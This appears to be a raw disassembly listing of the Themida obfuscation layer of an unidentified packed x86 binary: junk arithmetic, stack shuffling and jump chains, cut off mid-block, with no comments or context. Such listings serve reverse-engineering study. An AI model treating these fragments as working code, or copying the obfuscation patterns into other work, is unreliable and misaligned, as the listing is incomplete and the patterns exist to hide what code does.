loc_59302D: ; CODE XREF: sub_59390B+3CEj
push [esp-12h+arg_8+2]
pop ecx
add esp, 4
or edx, eax
shl edx, 1
push 3143h
mov [esp-12h+arg_8+2], ebx
push esi
mov esi, 1
mov ebx, esi
pop esi
push ecx
push 3DC5h
mov [esp-0Ah+arg_0+2], ebp
push 24h
pop ebp
jmp loc_59699E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_593060: ; CODE XREF: Themida_:00593003j
push ebp
mov ebp, esp
push esi
mov esi, 4
add ebp, esi
jmp loc_594B7A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_593070: ; CODE XREF: sub_59E918+51A4j
pop edx
add eax, 3B0F6815h
add eax, ebx
sub eax, 3B0F6815h
sub eax, 460B6706h
pop ebx
xchg eax, [esp+8+var_8]
pop esp
push ecx
mov cl, 62h
jmp loc_590C18
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59308F: ; CODE XREF: sub_59390B+CB6Bj
push ecx
mov ecx, 4
add eax, ecx
pop ecx
add eax, 4
sub esp, 4
mov [esp+0], eax
push [esp-6+arg_0+2]
mov eax, [esp+0]
jmp loc_5A4AFA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5930B2: ; CODE XREF: Themida_:00597CE8j
add edi, ebp
mov ebp, [esp]
add esp, 4
push 433Fh
mov [esp], edx
mov edx, 2
add edi, edx
jmp loc_5A1765
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5930D1: ; CODE XREF: sub_59390B+8841j
pop eax
jmp loc_594CE6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A16B7
loc_5930D7: ; CODE XREF: sub_5A16B7+96Bj
pop ebp
xor edx, 0A37DE2h
jmp loc_592292
; END OF FUNCTION CHUNK FOR sub_5A16B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5930E3: ; CODE XREF: sub_59390B+E8A1j
movzx cx, al
push cx
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5930EF: ; CODE XREF: sub_59390B+11D3Ej
pop eax
add edi, 4
jmp loc_592775
; ---------------------------------------------------------------------------
loc_5930FB: ; CODE XREF: sub_59390B+8776j
add ebx, 31C31ECBh
sub ebx, 0C2B1116h
sub ebx, edx
jmp loc_5982AD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ecx
push eax
jmp loc_59B140
; ---------------------------------------------------------------------------
loc_593118: ; CODE XREF: Themida_:005924A8j
pop eax
push ebx
jmp loc_59BF9D
; ---------------------------------------------------------------------------
loc_59311F: ; CODE XREF: Themida_:005A00EEj
push edx
mov edx, 35C11BDBh
mov edi, 35C11BDFh
xor edi, edx
pop edx
push esi
mov esi, 1F53EE4h
add eax, esi
pop esi
add eax, edi
sub eax, 1F53EE4h
mov edi, [esp]
add esp, 4
xchg eax, [esp]
pop esp
jmp loc_59B5C1
; ---------------------------------------------------------------------------
loc_59314F: ; CODE XREF: Themida_:005A281Ej
push eax
add dword ptr [esp], 6A69305Fh
jmp loc_59678C
; ---------------------------------------------------------------------------
loc_59315C: ; CODE XREF: Themida_:005A1FE9j
push 639Fh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
sub esp, 4
mov [esp], edx
mov edx, 4
jmp loc_5A5B2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59317B: ; CODE XREF: sub_59390B+342Dj
add edx, 4
push 52D3h
mov [esp+0], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp+0]
pop esp
push 1FB9h
mov [esp+0], ebp
push esp
pop ebp
push edx
jmp loc_593FF8
; ---------------------------------------------------------------------------
loc_59319F: ; CODE XREF: sub_59390B+DD32j
mov [esp+0], ebp
push 6FE765A9h
pop ebp
or ebp, 30582ADCh
and ebp, 6E613362h
jmp loc_5A2940
; ---------------------------------------------------------------------------
loc_5931B9: ; CODE XREF: sub_59390B+380j
push eax
mov eax, 531C80D8h
sub esi, eax
jmp loc_596B1C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_5931C6: ; CODE XREF: sub_5A23FB-D74j
and edx, ebx
pop ebx
push edi
mov edi, 66EFE789h
add edx, edi
mov edi, [esp+4+var_4]
add esp, 4
xor eax, edx
jmp loc_59718D
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594C24
loc_5931E1: ; CODE XREF: sub_594C24+E2FBj
pop edx
sub esp, 4
mov [esp+10h+var_10], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+10h+var_10]
jmp loc_5940E0
; END OF FUNCTION CHUNK FOR sub_594C24
; ---------------------------------------------------------------------------
loc_5931FE: ; CODE XREF: Themida_:0059F159j
mov [esp], edx
push 78A53C6Dh
pop edx
push ebx
mov ebx, 65D07B8Dh
xor edx, ebx
pop ebx
push ecx
mov ecx, 5FDB29E7h
push 233Ch
mov [esp], eax
mov eax, 4C69540Dh
xor ecx, eax
mov eax, [esp]
jmp loc_59D6AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_59322D: ; CODE XREF: sub_59CAFB+66EBj
add esp, 4
add esp, 4
add eax, 4
xchg eax, [esp+0]
jmp loc_5A501F
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_593246: ; CODE XREF: sub_59390B+510j
mov ecx, 7539217Ah
mov ebp, 8AC6DE8Ah
jmp loc_59D97C
; ---------------------------------------------------------------------------
loc_593255: ; CODE XREF: sub_59390B+A9A8j
pop esi
mov ebx, edx
pop edx
jmp loc_59A663
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59325E: ; CODE XREF: Themida_:0059CBB7j
push edx
mov dl, 0E7h
dec dl
jmp loc_59AAAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597198
loc_593268: ; CODE XREF: sub_597198+7C3Fj
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_597198
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59326D: ; CODE XREF: sub_59FCCB-2BC8j
sub bl, cl
jmp loc_592DEF
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_593274: ; CODE XREF: Themida_:005A032Cj
add eax, 1A4A1204h
jmp loc_5913C3
; ---------------------------------------------------------------------------
loc_59327E: ; CODE XREF: Themida_:005A54B3j
neg esi
add esi, 63F5CAEh
jmp loc_59B5CB
; ---------------------------------------------------------------------------
loc_59328B: ; CODE XREF: Themida_:005A23DDj
mov eax, [esp]
add esp, 4
sub edx, 9E433437h
add eax, edx
push dword ptr [esp]
jmp loc_5988B1
; ---------------------------------------------------------------------------
loc_5932A1: ; CODE XREF: Themida_:005A4B54j
push ebx
jmp loc_59833E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_5932A7: ; CODE XREF: sub_5A2FE9-B87Ej
mov [esp+10h+var_10], esi
mov esi, 4BEF7BF9h
jmp loc_5926D0
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
loc_5932B4: ; CODE XREF: Themida_:0059A48Bj
inc esi
jmp loc_5A16B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5932BA: ; CODE XREF: sub_59390B+D75j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp+0]
pop esp
mov [esp-8+arg_0], esi
jmp loc_5A1638
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5932CC: ; CODE XREF: sub_59A431+8B6Dj
pop ebp
jmp loc_5A0FB2
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5932D2: ; CODE XREF: Themida_:005935CEj
add ebx, 5157470Ch
mov edx, [esp]
add esp, 4
jmp loc_598B6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5932E3: ; CODE XREF: sub_59390B+A7C7j
add ebx, 4
add ebx, 4
xchg ebx, [esp-8+arg_0]
mov esp, [esp-8+arg_0]
jmp loc_5A19A0
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_5932F7 proc near ; CODE XREF: sub_59F505-9526j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005917C9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005927B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005949AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595A89 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005996F4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059A4A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AFE3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059ED01 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A035E SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A1E81 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A3DF1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A43B5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4523 SIZE 0000000B BYTES
push ebx
push esi
jmp loc_5996F4
sub_5932F7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5932FE: ; CODE XREF: Themida_:00591880j
push 73F4h
jmp loc_591244
; ---------------------------------------------------------------------------
loc_593308: ; CODE XREF: Themida_:00599C07j
mov ecx, 4
add ebx, 30CC2EFDh
add ebx, ecx
sub ebx, 30CC2EFDh
jmp loc_59E906
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_593320: ; CODE XREF: sub_59390B+1393j
inc eax
shr eax, 5
sub eax, 8F880A38h
push 414Ch
mov [esp+0], eax
push edi
mov edi, 4AFB21A0h
mov eax, edi
jmp loc_59CEC8
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59333E proc near ; CODE XREF: sub_595ED9-3147j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590D9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591CB3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005921D5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592E32 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594A6A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00595095 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059BC3E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D4B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D9DE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E567 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1055 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A442F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4772 SIZE 00000006 BYTES
push ebx
push ecx
push ebx
mov ebx, 190E69FCh
jmp loc_59BC3E
sub_59333E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59334B: ; CODE XREF: sub_5964AF+4E7Cj
add [esp-8+arg_C], ecx
pop ecx
jmp loc_5A46E1
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_593355: ; CODE XREF: sub_59390B+76D3j
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_599026
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_593368: ; CODE XREF: Themida_:005A027Bj
sub ebp, esi
pop esi
shl ebp, 2
push esi
mov esi, 5E454591h
jmp loc_595C82
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_593379: ; CODE XREF: sub_59B2AF-A2ABj
pop esi
add esi, 4
push edi
push esp
pop edi
push ebp
mov ebp, 4
jmp loc_5A555F
; END OF FUNCTION CHUNK FOR sub_59B2AF
; =============== S U B R O U T I N E =======================================
sub_59338E proc near ; DATA XREF: Themida_:00590A34o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00590F65 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005958BB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595F3E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059677E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598C7E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00599A8B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00599CD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AAFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D784 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A0FBA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1268 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A21D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A567A SIZE 0000000B BYTES
mov ecx, [esp+0]
push 237Bh
mov [esp+4+var_4], edx
push esp
mov edx, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 4
push ebx
mov ebx, 53616604h
sub edx, ebx
jmp loc_5A0FBA
sub_59338E endp
; =============== S U B R O U T I N E =======================================
sub_5933BB proc near ; CODE XREF: sub_59CAFB-4CE3j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592726 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594816 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598F50 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005A51F4 SIZE 0000000D BYTES
push ebx
jmp loc_592726
sub_5933BB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5933C1: ; CODE XREF: sub_59390B+1126Cj
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A0E22
; ---------------------------------------------------------------------------
loc_5933D3: ; CODE XREF: sub_59390B+80E4j
sub esi, 17FD48EEh
pop edi
pop ecx
jmp loc_5A2B8E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5933E0: ; CODE XREF: sub_591FC5+5040j
add al, 0C6h
pop ebx
push 44C3h
mov [esp+4+var_4], ecx
sub esp, 4
mov [esp+8+var_8], eax
mov al, 0F5h
dec al
xor al, 0AEh
add al, 5Ah
jmp loc_59A9DF
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_593401: ; CODE XREF: Themida_:00596A4Aj
sub ch, dh
pop dx
mov ah, ch
mov ecx, [esp]
add esp, 4
mov dh, ah
pop eax
xor al, dh
mov dx, [esp]
jmp loc_591FE7
; ---------------------------------------------------------------------------
loc_59341E: ; CODE XREF: Themida_:005A52C0j
mov al, 0F7h
not al
inc al
jmp loc_5A5157
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_593429: ; CODE XREF: sub_5A113A+10j
push esi
jmp loc_5919C9
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
loc_59342F: ; CODE XREF: Themida_:00591607j
add ecx, edx
jmp loc_59CDF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_593436: ; CODE XREF: sub_59390B+6E8j
add ebp, 23BD8222h
sub ecx, 75E11DE6h
jmp loc_59A739
; ---------------------------------------------------------------------------
loc_593447: ; CODE XREF: sub_59390B+11079j
add ebx, ecx
pop ecx
mov edx, [esp-0Ch+arg_4]
push ebx
push esp
pop ebx
push edx
mov edx, 6E354959h
xor edx, 48B016EEh
or edx, 235E74F1h
jmp loc_595044
; ---------------------------------------------------------------------------
loc_593467: ; CODE XREF: sub_59390B+1044Bj
add al, cl
sub al, 5Ch
pop ecx
mov dl, al
mov eax, [esp-8+arg_0]
push 6CAh
mov [esp+0], ebx
mov ebx, esp
push 679Dh
mov [esp+0], edi
mov edi, 5DAC159Ch
add edi, 318E7C5Ch
shr edi, 1
or edi, 548F46F0h
add edi, 2ABF2AA3h
xor edi, 825E799Bh
add ebx, edi
mov edi, [esp+0]
add esp, 4
add ebx, 4
jmp loc_5A44BC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5934B2: ; CODE XREF: sub_59CAFB+7A10j
push [esp+4+var_4]
push [esp+8+var_8]
pop edx
jmp loc_5A1D62
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5934BE: ; CODE XREF: sub_59390B+387Dj
xchg edi, ebp
shl ebp, 5
jmp loc_5992B6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5934C8: ; CODE XREF: sub_5A17BF-FC48j
sub esi, 4E907A38h
add esi, 3F9568C9h
jmp loc_5A4867
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_5934D9: ; CODE XREF: Themida_:0059BEF6j
mov ebp, 43275FDEh
jmp loc_59B974
; ---------------------------------------------------------------------------
loc_5934E3: ; CODE XREF: Themida_:005A2718j
add ebp, edx
mov edx, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
movzx ecx, al
push 6922h
mov [esp], eax
mov eax, esp
push ebx
mov ebx, 179C526Eh
xor ebx, 506B6C57h
shr ebx, 4
add ebx, 0FB808C21h
add eax, ebx
pop ebx
jmp loc_59DBD0
; ---------------------------------------------------------------------------
loc_59351B: ; CODE XREF: Themida_:00594C78j
push ebp
jmp loc_5A3D40
; ---------------------------------------------------------------------------
loc_593521: ; CODE XREF: Themida_:00597418j
push ebx
mov bh, 15h
or bh, 0C1h
xor bh, 11h
and bh, 0F4h
xor bh, 0BAh
jmp loc_5959EE
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59353F: ; CODE XREF: sub_59390B+FD2Cj
sub cl, 58h
sub cl, bl
add cl, 58h
jmp loc_59746F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59354C: ; CODE XREF: Themida_:0059D88Dj
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A25D
loc_593551: ; CODE XREF: sub_59A25D-36FBj
push [esp+8+var_4]
mov ebp, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_5983BE
; END OF FUNCTION CHUNK FOR sub_59A25D
; ---------------------------------------------------------------------------
loc_593569: ; CODE XREF: Themida_:0059637Cj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], ecx
push ebx
jmp loc_59D022
; ---------------------------------------------------------------------------
loc_59357C: ; CODE XREF: Themida_:005A20F2j
sub esi, 61A257A3h
jmp loc_599D56
; ---------------------------------------------------------------------------
loc_593587: ; CODE XREF: Themida_:005A263Bj
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
mov edi, esp
jmp loc_5A27DD
; ---------------------------------------------------------------------------
loc_5935A4: ; CODE XREF: Themida_:00596292j
add esp, 4
xor dl, 0D5h
add al, dl
pop edx
push edx
jmp loc_59131B
; ---------------------------------------------------------------------------
loc_5935B6: ; CODE XREF: Themida_:00592CE9j
mov [esp], edx
mov edx, 17CD50BBh
inc edx
dec edx
add edx, 0E832AF49h
sub ebx, 5157470Ch
add ebx, edx
jmp loc_5932D2
; ---------------------------------------------------------------------------
loc_5935D3: ; CODE XREF: Themida_:005A1F52j
pop ecx
add esp, 4
sub esi, 56DD3862h
add esi, edx
add esi, 56DD3862h
add esi, 691C1731h
mov edx, [esp]
add esp, 4
add eax, esi
pop esi
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5A4CD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59360A: ; CODE XREF: sub_5936EC+79EAj
xor [esp+0Ch+var_C], esi
xor esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
push 7EBDh
jmp loc_5A122E
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_593630: ; CODE XREF: sub_591FC5+1267Ej
and ah, 0B1h
jmp loc_59C9A1
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_593638: ; CODE XREF: Themida_:00592547j
mov [esp], ebp
push 7035h
jmp loc_5A4056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_593645: ; CODE XREF: sub_598762+A9j
pop esi
push edx
mov edx, 2
sub ebp, 0BC706Ch
jmp loc_594DBD
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_593657: ; CODE XREF: sub_599AE1+6BC0j
dec ebx
xchg ebx, edx
jmp loc_59B5E1
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59365F: ; CODE XREF: sub_59390B+CA2Aj
mov edi, 15785AECh
jmp loc_5A0F83
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_593669: ; CODE XREF: sub_59CAFB+3BD9j
mov ebp, ebx
push ebp
pop ecx
jmp loc_595E4F
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_593672: ; CODE XREF: Themida_:00599EB5j
pop eax
add ch, 3Ah
jmp loc_596A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59367B: ; CODE XREF: sub_59390B-E4Ej
add bl, ch
jmp loc_599ED1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_593682: ; CODE XREF: Themida_:005A384Aj
add ecx, 965CF58h
xor ebp, ecx
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub eax, 24A23F09h
add eax, ebp
push ecx
mov ecx, 56CB71D5h
add ecx, 0FFFFFFFFh
shr ecx, 1
inc ecx
shr ecx, 2
jmp loc_5996DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_5936B8: ; CODE XREF: sub_591FE1+C3DAj
add ebp, edx
mov edx, [esp+0Ch+var_C]
jmp loc_594FBA
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5936C2: ; CODE XREF: sub_59390B+1290j
mov esp, [esp-14h+arg_C]
add [esp-14h+arg_C], eax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5936CE: ; CODE XREF: sub_59E918+60B2j
add eax, 4
jmp loc_59FBA8
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F5C8
loc_5936D8: ; CODE XREF: sub_59F5C8-D2E6j
inc dl
jmp loc_59AFB2
; END OF FUNCTION CHUNK FOR sub_59F5C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_5936DF: ; CODE XREF: sub_591FE1+2A84j
pop esp
jmp loc_59E6F7
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5936E5: ; CODE XREF: sub_59390B+4C53j
add edx, ecx
jmp loc_59E0C3
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_5936EC proc near ; CODE XREF: sub_59390B+2A43j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059121B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591A00 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592503 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592753 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059360A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005950A4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595B88 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00597375 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00598FA2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00599464 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059A875 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059B0CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CC03 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D8CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E0C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E1CD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E833 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F49E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059FDEE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059FF9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A122E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2D00 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A3738 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A48BF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A52F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A55AC SIZE 00000025 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
push ebx
mov ebx, 11E71C8Dh
sub ebx, 27863617h
sub ebx, 264977E9h
neg ebx
xor ebx, 533EE00Ch
mov ebp, ebx
pop ebx
jmp loc_59FF9C
sub_5936EC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_593717: ; CODE XREF: sub_59FCCB-4A8Bj
pop edx
jmp loc_59DF10
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59371D: ; CODE XREF: sub_59390B+6D24j
and ecx, 68026BC3h
shl ecx, 6
dec ecx
add ecx, 7E32C1Eh
xor ecx, 716B869Dh
sub edi, ecx
pop ecx
add edi, 79A5028Fh
push ebp
mov ebp, 623B3435h
add ebp, 2179425Ch
add ebp, 9C459C85h
sub edi, ebp
jmp loc_5A1BC3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_593755: ; CODE XREF: Themida_:00598D55j
push 4F27h
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop ecx
jmp loc_59C5E0
; ---------------------------------------------------------------------------
loc_59376E: ; CODE XREF: Themida_:00599D10j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push small 10D3h
mov [esp], si
jmp loc_59C48A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_593784: ; CODE XREF: sub_59390B+3408j
sub al, 53h
pop edx
pop ebx
sub al, ch
push edx
mov dl, 13h
sub esp, 2
mov word ptr [esp-10h+arg_8], ax
mov al, 37h
sub dl, al
pop ax
sub al, dl
pop edx
mov ecx, [esp-16h+arg_C+2]
push 230Ch
jmp loc_597174
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5937AA: ; CODE XREF: Themida_:005A5322j
add esp, 4
push 3AE2h
mov [esp], edi
jmp loc_59650B
; ---------------------------------------------------------------------------
loc_5937BA: ; CODE XREF: Themida_:005A417Dj
xchg edx, [esp]
mov esp, [esp]
add ebp, 4
push eax
mov eax, 4
add ebp, 633847FAh
push esi
mov esi, 0E520DFEh
add ebp, 19596077h
sub ebp, esi
sub ebp, 19596077h
pop esi
sub ebp, eax
push edi
mov edi, 0E520DFEh
jmp loc_598327
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5937F4: ; CODE XREF: sub_59390B+A206j
mov ch, 6Ch
